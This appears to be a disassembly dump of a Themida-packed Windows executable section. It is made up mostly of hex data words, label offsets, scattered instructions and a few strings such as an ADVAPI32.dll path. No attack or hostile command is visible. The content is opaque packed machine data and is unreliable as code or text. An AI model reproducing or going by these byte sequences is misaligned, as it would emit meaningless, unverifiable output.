0C074AECFh, 0DBC1E57Ch, 3F7D00E6h dd 0E8E90052h, 0A2E03534h, 22006E6Fh, 1768139Ch, 331F9F6h dd 54FF9A28h, 99001980h, 0B978C0Dh, 156377h, 5EC7938Dh dd 86355468h, 0CFD57A0Bh, 81489A26h, 2C980168h, 7A898C40h dd 0C0BB0037h, 93263F48h, 6F7B58ECh, 8B0B14B0h, 107F4BE7h dd 750D59E4h, 0E1983A9Bh, 15D93083h, 0E100DE32h, 7E589E14h dd 1FBAA81h, 0F40847C2h, 0EEB7A655h, 5EF4AC44h, 7DA6B899h dd 110F303Fh, 0EEE6DC37h, 0F1F20949h, 0E003DF5Dh, 15A0CDE3h dd 0B03C611Ch, 0DC240016h, 56EA8ACCh, 0B8E70043h, 458EF9FFh dd 337BB31Ch, 0BCAF6800h dd 0FD19062Bh, 0CF7D03DBh, 987F022Ch, 4688F8ABh, 2B008754h dd 0BEF64396h, 15676ADh, 0D6C724A1h, 0FF5361C3h, 5FF087B8h dd 0D5283E6Bh, 0F54E9C03h, 0CE00107Bh, 0CC9A53C6h, 0E6CF9A2h dd 2215FAB7h, 14D6AB00h, 836359B9h, 98893E60h, 1B3AC39h dd 526A36B1h, 0D8C8C07Ch, 1B06E02Ah, 0B050DDA3h, 692E0380h dd 0C1118A8Fh, 6683A801h, 0DBE5FD1Eh, 7EEF63F8h, 7D3DF869h dd 0BD381994h, 0E8B1C9FAh, 0E83F57E2h, 310E80DCh, 0FDD3F25Ch dd 0B79B1230h, 58310BC0h, 98C0BF78h, 7381A96h, 69FD4C84h dd 0F1E5360Ch, 5A00B2F1h, 0A6DA6E85h, 2812F8h, 60839E6h dd 901D6157h, 52B1D218h, 0C7B349h, 0C5804F14h, 0D8C17942h dd 6AA97D03h, 0EDF90F71h, 0FBAC9C46h, 860E0061h, 0C6D03925h dd 3B00CD0Dh, 6A7523B6h, 60FE87ECh, 57FB29FAh, 841468ACh dd 70987E02h, 8C856F3Eh, 807D5B59h, 0C7171D13h, 0DBD4802Fh dd 0A16C0B5h, 2EDEAA07h, 0C95A31h, 0CAD70FCBh, 0CC465256h dd 200413Bh, 0ADA7BDF2h, 77008FAEh, 10CE54F5h, 301B756h dd 0B15841B5h, 16C9736Ah, 7B804315h, 0F747880Fh, 0BC91805Eh dd 6DCE428h, 5958CC03h, 5400617Ch, 0C10AA5B9h, 0D52C94h dd 1DDC4B7Ah, 587588F3h, 731E2F03h, 0C0F1A263h, 60E5B73Bh dd 8E9DF905h, 32C01548h, 0BE016EF9h, 0AF660EC6h, 78588BF2h dd 0FA0027B0h, 0EAA87A63h, 8078B1F8h, 0AA7B2196h, 0C7722F00h dd 75402DD1h, 0B7940304h, 3CEA9EC1h, 52F725C0h, 2011DE24h dd 47B12286h, 48130241h, 0A814866Fh, 6B7F1460h, 93180207h dd 184F0E44h, 7C2B5229h, 8C805050h, 5CE53094h, 0A746E0C1h dd 84E91C03h, 0F0556FAEh, 9058528Fh, 4C701E0h, 0B4FB891h dd 2AC3C3BDh, 26E4F9D0h, 0B5A8EC5Fh, 0FD242903h, 0AC91E1A0h dd 7A598007h, 9DEB90F8h, 0D61400AFh, 1DBF852Bh, 5A495972h dd 0F3BE0108h, 0C0D074DEh, 32F7F8h, 483DE3C1h, 2CAFB628h dd 0E4876F02h, 40626D03h, 88ED0BF4h, 88A8E5BEh, 490066CDh dd 14F7E081h, 7616E78h, 8E917076h, 8380D1DCh, 9FF89916h dd 72DC36B0h, 44B09026h, 0DD30528Ch, 47575110h, 3CE03154h dd 0C88F9111h, 761816DDh, 4D8114E6h, 69E024A3h, 44FC0C91h dd 2EF42949h, 75F82C02h, 44ABE26Bh, 0A58207D4h, 7E3CBDAh dd 22AD10AEh, 61268B0h, 444F6DB2h, 3BC8E7F9h, 0F5608E0h dd 5CE0A411h, 1C536C29h, 0BC48AC00h, 0CD2BCF2Ah, 927C72FAh dd 621AFF00h, 60D2C4Eh, 16D1247Fh, 0A7B10440h, 9C7C80CCh dd 32F1988Eh, 0E8C91C2Ch, 64F50AC7h, 2A6C8259h, 0EE1430Eh dd 0B2C1C521h, 14001A69h, 0D44AF07h, 73641E00h, 0CBC798B3h dd 2A1B00B0h, 85D8238h, 3063462h, 8546AE76h, 988900D9h dd 25D19D60h, 0ED0B8B58h, 87E6E5FAh, 8CC32271h, 0D4C3E008h dd 0B2065C95h, 7B008842h, 0FACB3414h, 0F0063237h, 70461E89h dd 312F0021h, 5CBCBD30h, 940044DAh, 732CECA2h, 0F830BDCh dd 228847E5h, 3FE0532Eh, 0AA2B39D4h, 75E0D06h, 1498459h dd 350304B2h, 48E7AEB5h, 0E6589EFCh, 248B0089h, 87E07AB6h dd 58D718BAh, 0A7D93969h, 6B002979h, 0A962C953h, 196C5F2h dd 9CEA34B6h, 24CAE4F4h, 0E5001000h, 9F60CBC9h, 2A9057h dd 0D275A328h, 42CC9BDFh, 2B722100h, 0BC7FB338h, 48177D10h dd 39392830h, 0B194A085h, 2ECC5C51h, 82123D5Ah, 4D4E0059h dd 0E87E63EBh, 6EA60618h, 7CAF36A1h, 0B556051Ah, 919C045h dd 20982984h, 0C800590Ah, 0E6AEF23h, 0E233D6DDh, 0C5C37987h dd 5FE4BDB9h, 22B9C188h, 0D8DA2F76h, 0C509BCA8h, 0A07AD8CCh dd 4D1E36F8h, 6D8F3406h, 680C9081h, 80B10DA4h, 0F8905980h dd 678226h, 6BAAA251h, 892F6012h, 7A3E7D71h, 0B45704FAh dd 0E8C17C03h, 68201E37h, 0DB60F8Ch, 7500B96Fh, 9DC71F4Ah dd 6E032900h, 0C487AF84h, 395CA1F5h, 0A1F16510h, 0BEC5B00h dd 0BEDC6766h, 3F447A6Bh, 0C3309516h, 0D9337C0h, 9006641Fh dd 0D5F880E2h, 8F163EBBh, 0E0A0C8AAh, 1776C0F9h, 0A6FB45FDh dd 0D3316A60h, 44F9ACBh, 0FDFAF5Fh, 67E09807h, 8F88726h dd 92B8FB42h, 0A46294h, 0C369745Ch, 0B4614C8Fh, 8CE3AB0Bh dd 8519E018h, 53725100h, 7E7056F5h, 714B00E1h, 0D70ECB38h dd 790878BCh, 8FEFACF9h, 23E13CF0h, 0C4665A3Fh, 130FFD98h dd 617174FCh, 8E49A4D4h, 0F2CE3040h, 0D5E2004Eh, 0B4C1EA11h dd 0A1359E0h, 98081EB7h, 58158D44h, 804E0h, 21C691D4h dd 986059D0h, 50E657D9h, 0C9510087h, 0BC1DFF1Fh, 0CCA80DE7h dd 672C129Fh, 0A5008316h, 20CB66DFh, 82931DBAh, 3DF980BEh dd 326CF073h, 0CE15E2B8h, 944D8Eh, 0E2346C2h, 47F363h dd 0B8527BC7h, 5AFAF78Dh, 0E8368812h, 0B6BF3820h, 703500AAh dd 9FFF10CAh, 0FB1F3471h, 7EA3E6h, 41AE5CD5h, 0E203C9h dd 9B4A4CE0h, 8287BA8Ch, 0CB1278B2h, 680F389Fh, 0FCB0402Fh dd 2C23EBD5h, 7FCC834h, 433B8BBFh, 14908185h, 6800748Ah dd 0D38E40A9h, 2AB33D3Ch, 1F8C8759h, 0C9B4F726h, 8A8054FAh dd 0DED7526Dh, 1797BB12h, 1E84889h, 0A2FC006Eh, 98B46C26h dd 911729F7h, 5200A1ACh, 0C59FFD2Dh, 0EF55F6BDh, 0F61E031h dd 4D9DA88Eh, 410E5C9h, 2E125CEDh, 190093D9h, 7AACFFDBh dd 45171D0Ah, 5DC6006Fh, 36767866h, 8352E502h, 0A040B121h dd 1FEF45B8h, 867B1D6Bh, 5A1167Dh, 805B4970h, 6883CAD1h dd 5310BF09h, 4D84494h, 0BC068CC5h, 9EA88C70h, 7D020F12h dd 64E81C22h, 4DEC0030h, 5999737Bh, 1C01E5BAh, 0A3DC48CDh dd 0A7F65336h, 81F9A02Ch, 0AE1DB308h, 58CABCE0h, 0AB017456h dd 638272C3h, 3422BDh, 0DD7D69B0h, 0EDB4401h, 3E118D26h dd 0C01CB565h, 70C7E0AEh, 2A0E848h, 191672CAh, 9C4CA775h dd 514C2A00h, 509548EFh, 1D24B501h, 80458E59h, 35B91FC9h dd 0E499ABEBh, 586707C2h, 0D566877Fh, 53C803F1h, 899A5007h dd 0BCB8F620h, 111360ABh, 4286956Ch, 306E8530h, 0B20D239Fh dd 0B9AF00E0h, 70A8DC81h, 7740EECh, 0D556388h, 8E519B1h dd 62C2E449h, 169E43Ch, 0CEFCA204h, 0D429FD87h, 1F7D7600h dd 294F621Ch, 69730E01h, 0B44B5E78h, 7ED77885h, 0C8284EEFh dd 28491F00h, 0CB304ABCh, 0DFB2880Fh, 42B898A0h, 5CE522F0h dd 6E006415h, 2B5AEA01h, 13160C3Fh, 0A41DB62Fh, 46B1FFC6h dd 95C53EC1h, 6FD3EA00h, 1F12A4D7h, 8EB89100h, 52864817h dd 874E162Bh, 1A482C0Ah, 220279F0h, 6503C440h, 8C37603Fh dd 0C5872505h, 82B74C98h, 0D9C99200h, 0D7C74D5Eh, 9D3D58C1h dd 95FC4C55h, 939F67Fh, 0A9C3F7A5h, 9801FE0Bh, 80E1E874h dd 63A4EC71h, 7D3AD19h, 0A627F0Ch, 28561058h, 30C24009h dd 6459A376h, 0DDD300ECh, 1542D60Bh, 49C026BDh, 6F1354CBh dd 0B2853556h, 0DC700470h, 39B0502Ah, 0B2C4CBFh, 22B26Fh dd 16172B3Ch, 20694BE3h, 80EBB45Ch, 7FD84E00h, 908375D3h dd 211402FAh, 5E65FB8Bh, 2DB1B449h, 4C740FECh, 0BB059D40h dd 0F500C199h, 0C48C64ECh, 18151C50h, 60FDBA1Dh, 0A49C8055h dd 56E816BDh, 66CBDA1Bh, 0AE6EE0E8h, 0C7872430h, 1754060h dd 0F506C10Dh, 5EE54608h, 0BFEE0319h, 2D11CE78h, 0DF5868F8h dd 0B09B0301h, 90B87B4h, 56742981h, 80AE2C8Fh, 2EF59560h dd 8807E508h, 50004593h, 8424046Ch, 98617CA1h, 0A03102CCh dd 0EBDC1B3h, 3EEDA0A0h dd 3A009B39h, 0C036C598h, 7D708Ah, 37EE910Ch, 0BB2E545Eh dd 0BD16C900h, 0B524A111h, 89E0CA5h, 767106ACh, 9FBC6F4Eh dd 7456D30Eh, 0DF209A6Fh, 150D2A18h, 3286203h, 127E893h dd 0A4E27A79h, 30A64F5Bh, 0F91C14A0h, 81C90BE4h, 0EAB4033Eh dd 0C068A205h, 2C750D4h, 0F26B3A8h, 0F44079BFh, 844E6994h dd 33E75006h, 0CE8F0359h, 3B4F7E15h, 1EEBE8C0h, 482E0890h dd 0D0127BEh, 0F7B5430h, 8EB73189h, 4C5CF048h, 2F451800h dd 17010958h, 89AD3B36h, 8846B592h, 71006764h, 0C4914882h dd 52CFEBh, 78ED61D1h, 0AC95BF59h, 91F044h, 4FF82DD9h dd 1872E16Fh, 21B91000h, 6CDEB01Ch, 0EA0F2EFEh, 0AD6C4F0Ch dd 0E8226DD0h, 8CD40038h, 79C04712h, 8B13626Fh, 0D301BB7Dh dd 0FEBE2E0Dh, 0F383E03Ch, 0DBF8C2BFh, 45EA9110h, 48FCD1E8h dd 0ECE0C40Bh, 9050891Ah, 6C2D30h, 0B92E3C55h, 1C22A347h dd 3FC2A500h, 0F6A7DBB8h, 5C575C49h, 0AC614D32h, 6600C8E4h dd 0FC1921F2h, 506F52A1h, 92B3D308h, 89BF5048h, 664262Ch dd 0E41D1428h, 0DC977414h, 0FBC3D804h, 0A3CC8846h, 0ECF34503h dd 0BF2C516Bh, 96868E65h, 91550302h, 5F5CE01Ch, 0B1AD8C00h dd 6A372A08h, 0B7B502A0h, 0E8066966h, 4600A864h, 0DDA7DA8h dd 90EA57Fh, 0A0F2EB04h, 6F0090E4h, 58C2F989h, 0CAB96597h dd 608CD298h, 0A5F5ED35h, 52005AECh, 8778B973h, 28A1EC0h dd 0A417D6E6h, 0E86129ADh, 41B01209h, 0E880164Eh, 6BDFEBD0h dd 8F0281C0h, 0DBC43633h, 4E90E027h, 0E2F901B0h, 31720FD3h dd 4422BEh, 6AED2A7Ah, 14F8B1Fh, 0ABD7913h, 3C65DA5Ch dd 0A65380A0h, 8045B4h, 0F08F766Ah, 0EBEEFE20h, 94040300h dd 0FD08CE4Bh, 1C9803D6h, 84467F1Bh, 2205D974h, 1E8DE69Bh dd 0E20218A3h, 6105A9FEh, 6A668560h, 0B67BB804h, 448C9F49h dd 0EBAA0E58h, 21E9937h, 538ECEEFh, 7B005C44h, 446B9078h dd 215C7A9h, 0C56AEF59h, 94C0EA68h, 292C5AC0h, 8C601064h dd 0BEE6B1h, 0FC1826CCh, 0BD6483E9h, 0B7EAFD02h, 5A8EBB7Eh dd 0CD7B00BCh, 0B44F816h, 680060ECh, 1546C0CCh, 1C18B657h dd 534E0E6h, 0B084B917h, 0B8A0DE38h, 9B26BE2Dh, 6E80D070h dd 7C368E51h, 9A7F0740h, 80DB5D42h, 39DF78BCh, 0BE073212h dd 5480426h, 987B0CBh, 0AA9088E2h, 0BE66D896h, 62889C9Ch dd 7C48EA6Ch, 8B32BB61h, 794988B1h, 647701E4h, 0D0A71EEEh dd 0A00440Eh, 185E4ACAh, 0C4596A1h, 734EC28h, 3313D560h dd 8C90E64Ch, 5D0670h, 27DE530Fh, 78C6F52Ah, 0D8D0700h dd 348FD560h, 99E8E21Bh, 0CA16F0h, 2FA9E355h, 5601F0F5h dd 831FE580h, 0DCDDD7BEh, 52D1DACCh, 0FFFF01CCh, 60FBh db 3 dup(0) ; --------------------------------------------------------------------------- loc_58248B: ; CODE XREF: Themida_:loc_515265j ; DATA XREF: Themida_:loc_515086o jmp loc_585A20 ; --------------------------------------------------------------------------- dd 3 dup(0) dd offset a2vsr3vsr ; "2vsR3vsR" dd 4 dup(0) dd 7C85A034h, 0A280105h, 6 dup(0) dd 102E9FACh, 7 dup(0) dd 0B61C1Ch, 0 dd 0FD1F9FD0h, 0 dd offset unk_513000 dd 2 dup(0) dd 94654E49h, 0 dd offset loc_5C0023 dd 0 dd 7C90EB94h, 0 dd 5ECh, 0BCh, 2 dup(0) dword_582534 dd 12E8h, 0 ; Themida_:00583030o ... dd 0BB0B3Ch, 10h dup(0) db 90h db 24h, 2 dup(0) dd 6 dup(0) dd 25D6F10h, 4 dup(0) dd offset byte_5DAFF5 dd 0F547EB7Ch, 6 dup(0) dd 836F146Ch, 0Dh dup(0) dd 23F6A4EEh, 0 dd 7BDFD385h, 2 dup(0) dd offset dword_5F3698 dd 0 dd offset byte_5C139B dd 7C800000h, 0 dd offset loc_5BFAD6 dd 9 dup(0) dd 0C10000h, 0Ah dup(0) dd 77DD7883h, 4 dup(0) dd offset loc_60C639 dd 7 dup(0) dd 32597F5Dh, 0 dd 99C65C8h, 3 dup(0) dd offset loc_5B4B69 dd 2 dup(0) dd offset loc_5D35A7 dd 0Ah dup(0) dd 0B41CF7h, 2 dup(0) dd 0FFA7B9FCh, 0 dd 71681150h, 0 dd 0F0h, 6 dup(0) dd 0FB9B3820h, 7 dup(0) dd 0B0h, 1Bh dup(0) dd 7C90EB94h, 0 dd 0BB0B3Ch, 9 dup(0) dd offset dword_5C09BC dd 4 dup(0) dd 7C90EB94h, 1, 6 dup(0) dd 0FFA443D9h, 6 dup(0) dd 0FF4EE7F1h, 9 dup(0) dd 0EF0h, 0 dd 0BB0B3Ch, 4B69h, 0 dd 1320132h, 5 dup(0) align 10h dd 7C90EB94h, 3 dup(0) dd 0A0h, 0 dd 12FE80h, 3 dup(0) dd 0B48B32h, 0 dd 7C90EB94h, 0 dd 1, 3 dup(0) dd offset dword_582534+4 dd 0B8h, 15h dup(0) dd 7C90EE18h, 0 dd offset dword_57F990+693h dd 7 dup(0) dd 7C90EB94h, 4 dup(0) dd 836F146Ch, 233FFB0h, 582538h, 0 dd offset loc_5C0000 dd 7 dup(0) dd offset loc_5C2404+3 dd offset sub_5BA363 dd 725CFBFEh, 5 dup(0) dd 710BCFFDh, 0 dd 7D0Dh, 0 dd 0FF9E6B63h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0Bh, 5Ch, 0 align 10h a6666 db '6666',0 align 4 dd 13h dup(0) dd 140D7335h, 6 dup(0) dd 837C86BBh, 4 dup(0) dd 77EDD0h, 0Eh dup(0) dd 0C8h, 7C90EB94h, 3D94h, 2 dup(0) dd 12FFC4h, 0E8h, 2 dup(0) dd offset dword_583210 dd 9 dup(0) dd 7F1A94E3h, 2 dup(0) dd 0DF55DD8h, 4 dup(0) dd 9E0B9665h, 94h, 0A9C530DFh, 52Ah, 4 dup(0) dd 0FFC00000h, 3 dup(0) dd offset loc_5DCBE3+5 dd 6 dup(0) dd 17944h, 0FFA30FF8h, 0F87FF48Bh, 0 dd 370FE853h, 2 dup(0) dd 12FF22h, 7 dup(0) ; --------------------------------------------------------------------------- jmp near ptr byte_582D01 ; --------------------------------------------------------------------------- align 4 dd 7 dup(0) dd 0FFFFFF05h, 17h dup(0) dd 7EBBFFFCh, 2 dup(0) dd offset byte_5DB495 dd 0 dd offset loc_5B4B69 dd 3 dup(0) dd 0FFFFh, 0DF568CFh, 27h dup(0) db 0 byte_582D01 db 3 dup(0) ; CODE XREF: Themida_:00582BB4j dd 2 dup(0) dd offset loc_5DEE0F dd 6 dup(0) dd offset byte_612D59 dd 7C906B94h, 0Ah dup(0) dd offset loc_60C7C7+5 dd 0Bh dup(0) dd 7C90EB94h, 2 dup(0) dd 0FFA07B82h, 0B11A44h, 0 dd 1AE9h, 9Ch, 0F1B3BF49h, 2 dup(0) dd offset byte_401000 dd 0 dd offset loc_5B63BD dd 2 dup(0) dd 0FFA4052Ah, 5 dup(0) dd 0B73F0Fh, 0 dd offset loc_5F4958 align 10h dd 71681151h, 12FF54h, 0 dd 7C809B47h, 76E29EAAh, 4 dup(0) dd offset dword_5C1D50 dd 6 dup(0) dd 2, 13h dup(0) dd 0FBh, 5E4D75h, 2 dup(0) dd 94654E49h, 4 dup(0) dd offset loc_5F5BE8 dd 6 dup(0) dd 67418783h, 3 dup(0) a333333333333 db '333333333333',0 align 10h dd 0 db 90h align 4 dd 0 dd 0B70213h, 26152FA0h, 8 dup(0) ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0DEh, 5Dh, 0 dd 3 dup(0) dd 0C246DA44h, 2 dup(0) dd 0B1FA37h, 0 dd offset byte_5C53C9 dd 2 dup(0) dd 12FFA4h, 0 dd offset byte_5D1EDD dd 3 dup(0) dd 7C90EB94h, 6 dup(0) dd 0ACh, 60B097h, 0Ah dup(0) dd 79F002E7h, 3 dup(0) dd 7C80180Eh, 2 dup(0) dd 0CEh, 0FFFFFEF8h, 0Ah dup(0) dd 341EF1FBh, 2 dup(0) public start start dd 3 dup(0) dd offset loc_5B9732 dd 6 dup(0) dd 12FEF0h, 0 dd offset dword_582534+4 dword_583034 dd 0FFA7DAC8h, 62h dup(0) ; Themida_:00584340o dd 5643h, 9A490501h, 3 dup(0) dd 836E6515h, 0Dh dup(0) dd offset loc_5DEE0F dword_583210 dd 724h, 4CB57A79h, 0 ; Themida_:00583A7Co ... dd 0FFA3DC1Ah, 4 dup(0) dd 0D791D07Fh, 1E6EC5C6h, 0E1DE586h, 2 dup(0) dd 491EF6F6h, 2 dup(0) dd 60079A95h, 6 dup(0) dd 77DD0000h, 5F4B12h, 5 dup(0) dd offset byte_5EB785 dd 5 dup(0) db 0CCh align 10h dd offset loc_5C09F9 align 8 dd 1, 0BE366EB9h, 0 dd 26D0000h, 7CDCDD81h, 0B11842h, 2 dup(0) dd 12FFA4h, 2 dup(0) dd 3FD56250h, 0 dd offset loc_5F59CE dd 2 dup(0) dd 0B3FCADh, 0Ah dup(0) dd 23F6A4EEh, 0 dd 0F874248Ah, 9 dup(0) dd offset loc_5CB1B3 dd 7 dup(0) ; --------------------------------------------------------------------------- fbstp tbyte ptr [eax] lds ebp, [ecx+0] retn 5CAEh ; --------------------------------------------------------------------------- align 10h dd 7 dup(0) dd 20h, 0 dd offset dword_5833B4 dd 0 dd 0FFFF7CAFh, 0 dword_5833B4 dd 0 dd 0BB0B3Ch, 7C90EB94h, 5 dup(0) dd offset byte_5FD3D9 dd 0B1180Fh, 6 dup(0) dd 7C90EB94h, 5 dup(0) dd 7E41A8ADh, 7FB4FFD5h, 0B9h dup(0) dd 0B61C1Ch, 12FFF0h, 3 dup(0) dd 7C81CDDAh, 10h dup(0) dd 7C8111DAh, 2 dup(0) dd 370h, 2 dup(0) dd 0E23DFDB1h, 29h dup(0) dd offset word_5C9EE6 dd 2 dup(0) dd 0B18D20h, 0 dd 1F39CF3Fh, 60D18Dh, 3 dup(0) dd 7C814AF2h, 5DA542h, 0 dd 0B0E9h, 0B1AEA1h, 4 dup(0) dd 3C799B6Eh, 3 dup(0) dd 0FFAE1ED5h, 0 dd 73AC1555h, 1F9607BDh, 5 dup(0) dd 0B10A25h, 3 dup(0) dd offset loc_5DF500+1 dd 2 dup(0) dd 0B11A38h, 0 dd 0FFFF997Ch, 0 dd 0FFFE87A8h, 0Ah dup(0) dd offset word_5DA21A dd 3 dup(0) dd offset dword_5C1D50 dd 5 dup(0) dd offset loc_5E2176 align 8 dd 7C803ED3h, 2 dup(0) dd 254002Ch, 9 dup(0) dd 0B1A8CFh, 9 dup(0) dd offset dword_5E16C0 dd 0 dd 0DCDC9C4Dh, 2 dup(0) dd 0FF44F4C4h, 0 dd 0A9C530DFh, 76F21510h, 2 dup(0) dd offset loc_5C0023 dd 4 dup(0) dd 4001D0h, 9 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 7E4505FCh, 0 dd 77DDEE37h, 0 dd 4AB27FFFh, 7C80B4CFh, 725CFBFEh, 2 dup(0) dd 0A4h, 3 dup(0) dd 1, 4 dup(0) dd offset loc_5EBF84+1 dd 9 dup(0) dd 7C80ABDEh, 3 dup(0) dd 400000h, 4 dup(0) dd offset dword_583210 dd 3 dup(0) dd offset sub_5B94B1 dd 0 dd 836F146Ch, 0Dh dup(0) dd 224C2CE0h, 2 dup(0) dd 0FFFFFFFFh, 3 dup(0) dd 7C802CB0h, 5B2425h, 7C81CDDAh, 5C23E6h, 5F4BFFh, 0 dd 2644h, 0 dd 3C7BD69h, 7 dup(0) dd offset dword_583034+4 dd 7 dup(0) aCWindowsSystem db 'C:\WINDOWS\system32\ADVAPI32.dll',0 align 4 dd 39h dup(0) dd 3F64h, 5 dup(0) dd offset loc_5B970A ; --------------------------------------------------------------------------- push es retf ; --------------------------------------------------------------------------- dw 5Dh dd 3 dup(0) dd 0FFFFFFFEh, 1, 5 dup(0) dd offset loc_5F4763 dd 98h, 2 dup(0) dd 0FBh, 144828h, 0 dd offset dword_5C8B28 dd 4 dup(0) dd 0FFFC7773h, 4 dup(0) dd 7C90D4F6h, 2 dup(0) dd offset byte_5CCDE5 align 10h sub eax, 6C00BB0Bh jmp short loc_583D52 ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 1B3FFB0h, 0 dd 44B9339h, 0Ah dup(0) dd offset loc_586853 dd 4F33790Dh, 0FFA43473h, 7C863F58h, 2 dup(0) db 0D0h, 5Fh ; --------------------------------------------------------------------------- loc_583D52: ; CODE XREF: Themida_:00583CF5j pop ebx ; --------------------------------------------------------------------------- db 0 dd 3 dup(0) db 90h db 12h, 0F2h, 76h dd 0FFFF9E1Ch, 0 dd 22536AFCh, 0 dd offset byte_5FF861 dd 0 dd 7C90EB94h, 8 dup(0) dd 836F146Ch, 0 dd 0FFFF7FE7h, 2 dup(0) dd 83FF691Fh, 7C90EB94h, 5 dup(0) dd 7C90EB94h, 7 dup(0) dd 7C916315h, 2 dup(0) dd 0B18E51h, 3 dup(0) dd 75ADF725h, 3 dup(0) dd 11688F6h, 0B1FA03h, 5 dup(0) dd 7C90EB94h, 0 dd offset dword_5C1D10 dd 6 dup(0) dd 7Ch, 0 dd 0FFFFEB94h, 5B9497h, 0B1180Fh, 7 dup(0) dd 112000h, 0Ah dup(0) dd 12FE80h, 0 dd offset dword_5B00C0 dd 2 dup(0) dd 7C90EB94h, 2 dup(0) dd 7C90EB94h, 2 dup(0) dd 0B2448EEEh, 0 dd 7C916315h, 8 dup(0) dd offset byte_5C2BA5 dd 6 dup(0) dd 0FFA7FFDDh, 4 dup(0) dd 6222BEA3h, 3 dup(0) dd 7378471Bh, 3 dup(0) dd 7C90D4F6h, 2 dup(0) dd 4F000h, 0 dd 29h, 3 dup(0) dd 0B137ECh, 5 dup(0) dd 0B71E69h, 582538h, 76B178BFh, 5E8724h, 3 dup(0) dd 1E0A8C0h, 3 dup(0) dd 9B0A799h, 2 dup(0) dd 0B812B624h, 4 dup(0) dd 26F0000h, 4 dup(0) dd offset loc_60D748 dd 2 dup(0) dd 8Ch, 7C80ADA0h, 4 dup(0) dd 115014h, 5 dup(0) dd 7C80003Eh, 0 dd 12FF54h, 6 dup(0) dd 0FFFFFFFFh, 7C801D77h, 2 dup(0) dd offset dword_583210 dd 0 dd 26E0000h, 9 dup(0) dd 0BB0B3Ch, 7 dup(0) dd 127B268h, 0 dd 0FFA399DCh, 2 dup(0) dd offset loc_5F8CF2 align 8 dd 7C801A24h, 0 dd 21E000h, 5FC39Bh, 0 dd 7C90EB94h, 0 dd 2 dup(22222222h), 7C80003Eh, 2 dup(0) dd 73ED3B0Fh, 0 dd offset loc_5E8724 dd 5 dup(0) dd 2970000h, 5 dup(0) dd 0FFFFFAD6h, 5F45EDh, 2 dup(0) dd 12FE80h, 0 dd 0DEE70389h, 5 dup(0) dd 4, 5 dup(0) dd 111F148h, 9 dup(0) dd 5EC71947h, 4 dup(0) dd 7B8B4D95h, 0 dd 836F146Ch, 0 dd 0B4h, 7C90EB94h, 0B18B28h, 2 dup(0) dd 0C0h, 0 dd offset loc_5B975A align 10h dd 0CDA680A3h, 2000h, 3 dup(0) dd 0A70000h, 0 dd 0A7542CA1h, 11h dup(0) dd 0FFFF997Ch, 0 dd 7E410000h, 0Bh dup(0) dd 7C801A24h, 0A8h, 60C1BEh, 0 dd 1, 5 dup(0) dd offset sub_586067 dd 0DC8C0000h, 3 dup(0) dd offset loc_60D748 dd 4 dup(0) dd 0FAB5C3C4h, 5BFAD6h, 0 dd 0A9C530DFh, 2 dup(0) dd 0B731E5h, 2 dup(0) dd 0FE8F0BE8h, 0 dd 0B8h, 2 dup(0) ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0Bh, 5Ch, 0 dd 0 dd 0EFDBB00Eh, 4 dup(0) dd offset dword_583034+5 dd 2 dup(0) dd 48E9h, 5A219A71h, 0 dd 0E099868Dh, 0Ah dup(0) dd 0FFFF9A58h, 5 dup(0) dd 0FFA7DAC8h, 0 dd 7C801A24h, 0 dd 7C802CACh, 0 dd offset loc_5BEE4C+3 align 10h dd 0B18EE4h, 1FE8h, 3 dup(0) dd 32597F5Dh, 11h dup(0) dd offset sub_5BFAE8 dd 2 dup(0) dd 0FFFF9DB0h, 0Ch dup(0) dd 0A9C530DFh, 0B10E24h, 0 dd 22536AFCh, 5 dup(0) dd 7C800B42h, 5D43CCh, 0 dd 1, 0EAA09E08h, 3 dup(0) dd 1, 0 dd 7135815Fh, 5C82E7h, 5BA363h, 4 dup(0) dd offset loc_5FCE0B dd offset sub_5DD9AB dd 16h dup(0) dd 0FFFFFFFFh, 0FFA0B261h, 5 dup(0) dd 7C90EB94h, 19h, 4 dup(0) dd 0B42878h, 2 dup(0) dd 0CDA680A3h, 2 dup(0) dd 0D0000h, 2 dup(0) dd offset loc_5BEB6C dd 3 dup(0) dd 0FF4EE7F1h, 0Ch dup(0) dd 77DD6BF0h, 2 dup(0) dd 0B10000h, 3 dup(0) dd 7C90EB94h, 3 dup(0) dd 0AAF9FCh, 0 dd 7E41A8ADh, 4 dup(0) dd 0BB0B3Ch, 2 dup(0) dd 7C80180Eh, 7C90EB94h, 2C000h, 7C90EB94h, 0 dd 148E9h, 0B5D76813h, 4, 3 dup(0) dd offset loc_5F8CCD dd 2 dup(0) dd 7C810A77h, 10h dup(0) dd 979h, 0D24h, 0B12918h, 0 dd 337D5h, 0EB5B05F8h, 9 dup(0) dd 203FFB0h, 7C90EB94h, 0 dd offset sub_5BA363 dd 0 dd 7C900000h, 6 dup(0) dd 836F146Ch, 7 dup(0) dd 0BCh, 3 dup(0) dd 76F36C5Bh, 0 dd 12FE7Ch, 2 dup(0) dd 12FF54h, 0 dd 1BD0Ah, 2 dup(0) dd 789Bh, 0 dd 0CDA680A3h, 3 dup(0) dd 7CEF1B06h, 0 dd 4, 2 dup(0) dd 32h, 0 dd 0A0h, 0 dd 77DFC41Bh, 3 dup(0) dd 61h, 2 dup(0) dd offset word_5FFFA6 dd 2 dup(0) dd offset loc_5BFAD6 dd 3 dup(0) dd offset byte_612D59 dd 2 dup(0) dd 836F146Ch, 77DDEDE5h, 5F5974h, 4 dup(0) dd 0C246DA44h, 76B178BEh, 2 dup(0) dd 44118644h, 3 dup(0) dd 5C233A1Dh, 5C3B1Ch, 5 dup(0) dd offset loc_5F4CB3 dd 2 dup(0) dd offset dword_5864EC align 10h dd 12FE80h, 8DC5h, 5 dup(0) dd 7C90EB94h, 3 dup(0) dd 0B18E51h, 3 dup(0) dd 25D6E06h, 2 dup(0) dd offset word_607F42 dd offset aRlLbIejSNSNebo ; "RΤ`B\b ¦Ήι\a΅-Ίι\a ‘[" dd 3 dup(0) dd 0BB0B3Ch, 2 dup(0) dd offset dword_582534+4 align 10h dd 24242424h, 0Ah dup(0) db 90h db 0DEh, 5Ah, 19h dd offset loc_5DDE35 align 10h dd 73EDEFFCh, 8A8h, 7C900000h, 5850FCh, 5 dup(0) dd offset loc_5B08FF dd 0 dd 0B55000C0h, 0Dh dup(0) dd 0B18B28h, 4 dup(0) dd 0B22493h, 3 dup(0) 